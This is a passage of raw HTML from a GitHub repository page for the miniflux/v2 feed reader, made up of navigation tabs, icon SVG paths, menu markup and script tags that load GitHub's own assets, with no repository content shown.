.416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z\"></path>\n</svg><span data-view-component=\"true\" class=\"d-inline\">\n          Star\n</span>\n</a>        <button aria-label=\"You must be signed in to add this repository to a list\" type=\"button\" disabled=\"disabled\" data-view-component=\"true\" class=\"btn-sm btn BtnGroup-item px-2\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-triangle-down\">\n    <path d=\"m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z\"></path>\n</svg>\n</button></div>\n        </div>\n        <div class=\"flex-1\">\n                <a href=\"/login?return_to=%2Fminiflux%2Fv2\" rel=\"nofollow\" data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;notification subscription menu watch&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"36b8c203bf8732c432e8f1a3a3b3953f15fcab009caae7702824650051e312e7\" aria-label=\"You must be signed in to change notification settings\" data-view-component=\"true\" class=\"tooltipped tooltipped-s btn-sm btn btn-block\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-bell mr-2\">\n    <path d=\"M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z\"></path>\n</svg>Notifications\n</a>\n        </div>\n          <span>\n            \n\n          </span>\n      </div>\n  </div>\n\n</div>\n\n\n          <nav data-pjax=\"#js-repo-pjax-container\" aria-label=\"Repository\" data-view-component=\"true\" class=\"js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5\">\n\n  <ul data-view-component=\"true\" class=\"UnderlineNav-body list-style-none\">\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"code-tab\" href=\"/miniflux/v2\" data-tab-item=\"i0code-tab\" data-selected-links=\"repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages repo_deployments repo_attestations /miniflux/v2\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-hotkey=\"g c\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Code&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" aria-current=\"page\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item selected\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-code UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n        <span data-content=\"Code\">Code</span>\n          <span id=\"code-repo-tab-count\" data-pjax-replace=\"\" data-turbo-replace=\"\" title=\"Not available\" data-view-component=\"true\" class=\"Counter\"></span>\n\n\n    \n</a></li>\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"issues-tab\" href=\"/miniflux/v2/issues\" data-tab-item=\"i1issues-tab\" data-selected-links=\"repo_issues repo_labels repo_milestones /miniflux/v2/issues\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-hotkey=\"g i\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Issues&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z\"></path><path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z\"></path>\n</svg>\n        <span data-content=\"Issues\">Issues</span>\n          <span id=\"issues-repo-tab-count\" data-pjax-replace=\"\" data-turbo-replace=\"\" title=\"273\" data-view-component=\"true\" class=\"Counter\">273</span>\n\n\n    \n</a></li>\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"pull-requests-tab\" href=\"/miniflux/v2/pulls\" data-tab-item=\"i2pull-requests-tab\" data-selected-links=\"repo_pulls checks /miniflux/v2/pulls\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-hotkey=\"g p\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Pull requests&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z\"></path>\n</svg>\n        <span data-content=\"Pull requests\">Pull requests</span>\n          <span id=\"pull-requests-repo-tab-count\" data-pjax-replace=\"\" data-turbo-replace=\"\" title=\"14\" data-view-component=\"true\" class=\"Counter\">14</span>\n\n\n    \n</a></li>\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"discussions-tab\" href=\"/miniflux/v2/discussions\" data-tab-item=\"i3discussions-tab\" data-selected-links=\"repo_discussions /miniflux/v2/discussions\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-hotkey=\"g g\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Discussions&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-comment-discussion UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"M1.75 1h8.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0 1 10.25 10H7.061l-2.574 2.573A1.458 1.458 0 0 1 2 11.543V10h-.25A1.75 1.75 0 0 1 0 8.25v-5.5C0 1.784.784 1 1.75 1ZM1.5 2.75v5.5c0 .138.112.25.25.25h1a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h3.5a.25.25 0 0 0 .25-.25v-5.5a.25.25 0 0 0-.25-.25h-8.5a.25.25 0 0 0-.25.25Zm13 2a.25.25 0 0 0-.25-.25h-.5a.75.75 0 0 1 0-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0 1 14.25 12H14v1.543a1.458 1.458 0 0 1-2.487 1.03L9.22 12.28a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215l2.22 2.22v-2.19a.75.75 0 0 1 .75-.75h1a.25.25 0 0 0 .25-.25Z\"></path>\n</svg>\n        <span data-content=\"Discussions\">Discussions</span>\n          <span id=\"discussions-repo-tab-count\" data-pjax-replace=\"\" data-turbo-replace=\"\" title=\"Not available\" data-view-component=\"true\" class=\"Counter\"></span>\n\n\n    \n</a></li>\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"actions-tab\" href=\"/miniflux/v2/actions\" data-tab-item=\"i4actions-tab\" data-selected-links=\"repo_actions /miniflux/v2/actions\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-hotkey=\"g a\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Actions&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-play UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z\"></path>\n</svg>\n        <span data-content=\"Actions\">Actions</span>\n          <span id=\"actions-repo-tab-count\" data-pjax-replace=\"\" data-turbo-replace=\"\" title=\"Not available\" data-view-component=\"true\" class=\"Counter\"></span>\n\n\n    \n</a></li>\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"security-tab\" href=\"/miniflux/v2/security\" data-tab-item=\"i5security-tab\" data-selected-links=\"security overview alerts policy token_scanning code_scanning /miniflux/v2/security\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-hotkey=\"g s\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Security&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n</svg>\n        <span data-content=\"Security\">Security</span>\n          <include-fragment src=\"/miniflux/v2/security/overall-count\" accept=\"text/fragment+html\"></include-fragment>\n\n    \n</a></li>\n      <li data-view-component=\"true\" class=\"d-inline-flex\">\n  <a id=\"insights-tab\" href=\"/miniflux/v2/pulse\" data-tab-item=\"i6insights-tab\" data-selected-links=\"repo_graphs repo_contributors dependency_graph dependabot_updates pulse people community /miniflux/v2/pulse\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" data-analytics-event=\"{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Insights&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}\" data-view-component=\"true\" class=\"UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item\">\n    \n              <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline\">\n    <path d=\"M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z\"></path>\n</svg>\n        <span data-content=\"Insights\">Insights</span>\n          <span id=\"insights-repo-tab-count\" data-pjax-replace=\"\" data-turbo-replace=\"\" title=\"Not available\" data-view-component=\"true\" class=\"Counter\"></span>\n\n\n    \n</a></li>\n</ul>\n    <div style=\"visibility:hidden;\" data-view-component=\"true\" class=\"UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0\">      <action-menu data-select-variant=\"none\" data-view-component=\"true\">\n  <focus-group direction=\"vertical\" mnemonics retain>\n    <button id=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-button\" popovertarget=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-overlay\" aria-controls=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-list\" aria-haspopup=\"true\" aria-labelledby=\"tooltip-b98bc807-60e6-4371-860c-4cdc5bae2b8f\" type=\"button\" data-view-component=\"true\" class=\"Button Button--iconOnly Button--secondary Button--medium UnderlineNav-item\">  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-kebab-horizontal Button-visual\">\n    <path d=\"M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z\"></path>\n</svg>\n</button><tool-tip id=\"tooltip-b98bc807-60e6-4371-860c-4cdc5bae2b8f\" for=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-button\" popover=\"manual\" data-direction=\"s\" data-type=\"label\" data-view-component=\"true\" class=\"sr-only position-absolute\">Additional navigation options</tool-tip>\n\n\n<anchored-position id=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-overlay\" anchor=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-button\" align=\"start\" side=\"outside-bottom\" anchor-offset=\"normal\" popover=\"auto\" data-view-component=\"true\">\n  <div data-view-component=\"true\" class=\"Overlay Overlay--size-auto\">\n    \n      <div data-view-component=\"true\" class=\"Overlay-body Overlay-body--paddingNone\">          <div data-view-component=\"true\">\n  <ul aria-labelledby=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-button\" id=\"action-menu-a4c7c67d-0875-455b-9efd-1c2d26243ff8-list\" role=\"menu\" data-view-component=\"true\" class=\"ActionListWrap--inset ActionListWrap\">\n      <li hidden=\"hidden\" data-menu-item=\"i0code-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-5ec47309-84a6-41e8-903c-6f677d9cb700\" href=\"/miniflux/v2\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-code\">\n    <path d=\"m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Code\n</span></a>\n  \n  \n</li>\n      <li hidden=\"hidden\" data-menu-item=\"i1issues-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-4e453b00-e8c0-4ba2-b8f1-c89723496c45\" href=\"/miniflux/v2/issues\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-issue-opened\">\n    <path d=\"M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z\"></path><path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Issues\n</span></a>\n  \n  \n</li>\n      <li hidden=\"hidden\" data-menu-item=\"i2pull-requests-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-4f51db5b-4ad8-4d7b-86d0-3235848f85e2\" href=\"/miniflux/v2/pulls\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-git-pull-request\">\n    <path d=\"M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Pull requests\n</span></a>\n  \n  \n</li>\n      <li hidden=\"hidden\" data-menu-item=\"i3discussions-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-148bed54-9444-4c53-a0e2-462fc61b93d3\" href=\"/miniflux/v2/discussions\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-comment-discussion\">\n    <path d=\"M1.75 1h8.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0 1 10.25 10H7.061l-2.574 2.573A1.458 1.458 0 0 1 2 11.543V10h-.25A1.75 1.75 0 0 1 0 8.25v-5.5C0 1.784.784 1 1.75 1ZM1.5 2.75v5.5c0 .138.112.25.25.25h1a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h3.5a.25.25 0 0 0 .25-.25v-5.5a.25.25 0 0 0-.25-.25h-8.5a.25.25 0 0 0-.25.25Zm13 2a.25.25 0 0 0-.25-.25h-.5a.75.75 0 0 1 0-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0 1 14.25 12H14v1.543a1.458 1.458 0 0 1-2.487 1.03L9.22 12.28a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215l2.22 2.22v-2.19a.75.75 0 0 1 .75-.75h1a.25.25 0 0 0 .25-.25Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Discussions\n</span></a>\n  \n  \n</li>\n      <li hidden=\"hidden\" data-menu-item=\"i4actions-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-5a8bd952-35de-4b23-b760-47c16d8fae43\" href=\"/miniflux/v2/actions\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-play\">\n    <path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Actions\n</span></a>\n  \n  \n</li>\n      <li hidden=\"hidden\" data-menu-item=\"i5security-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-07cfe342-7165-4b11-a6be-3859a19abc9f\" href=\"/miniflux/v2/security\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-shield\">\n    <path d=\"M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Security\n</span></a>\n  \n  \n</li>\n      <li hidden=\"hidden\" data-menu-item=\"i6insights-tab\" data-targets=\"action-list.items action-list.items\" role=\"none\" data-view-component=\"true\" class=\"ActionListItem\">\n    \n    <a tabindex=\"-1\" id=\"item-0685fb19-593f-4f50-b9ab-a6fdaf43cae7\" href=\"/miniflux/v2/pulse\" role=\"menuitem\" data-view-component=\"true\" class=\"ActionListContent ActionListContent--visual16\">\n        <span class=\"ActionListItem-visual ActionListItem-visual--leading\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-graph\">\n    <path d=\"M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z\"></path>\n</svg>\n        </span>\n      \n        <span data-view-component=\"true\" class=\"ActionListItem-label\">\n          Insights\n</span></a>\n  \n  \n</li>\n</ul>  \n</div>\n\n</div>\n      \n</div></anchored-position>  </focus-group>\n</action-menu></div>\n</nav>\n\n  </div>\n\n  \n\n\n\n<turbo-frame id=\"repo-content-turbo-frame\" target=\"_top\" data-turbo-action=\"advance\" class=\"\">\n    <div id=\"repo-content-pjax-container\" class=\"repository-content \" >\n    \n\n\n    \n      \n  <h1 class='sr-only'>miniflux/v2</h1>\n  <div class=\"clearfix container-xl px-md-4 px-lg-5 px-3\">\n    <div>\n\n  <div id=\"spoof-warning\" class=\"mt-0 pb-3\" hidden aria-hidden>\n  <div data-view-component=\"true\" class=\"flash flash-warn mt-0 clearfix\">\n  \n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-alert float-left mt-1\">\n    <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n</svg>\n\n      <div class=\"overflow-hidden\">This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.</div>\n\n\n  \n</div></div>\n\n  <include-fragment src=\"/miniflux/v2/spoofed_commit_check/111e3f2106646cd29f7f74c0102f2a570c598e2e\" data-test-selector=\"spoofed-commit-check\"></include-fragment>\n\n  <div style=\"max-width: 100%\" data-view-component=\"true\" class=\"Layout Layout--flowRow-until-md react-repos-overview-margin Layout--sidebarPosition-end Layout--sidebarPosition-flowRow-end\">\n  <div data-view-component=\"true\" class=\"Layout-main\">        \n\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/react-lib-1fbfc5be2c18.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-node_modules_primer_react_lib-es-2e8e7c-adc8451a70cf.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" 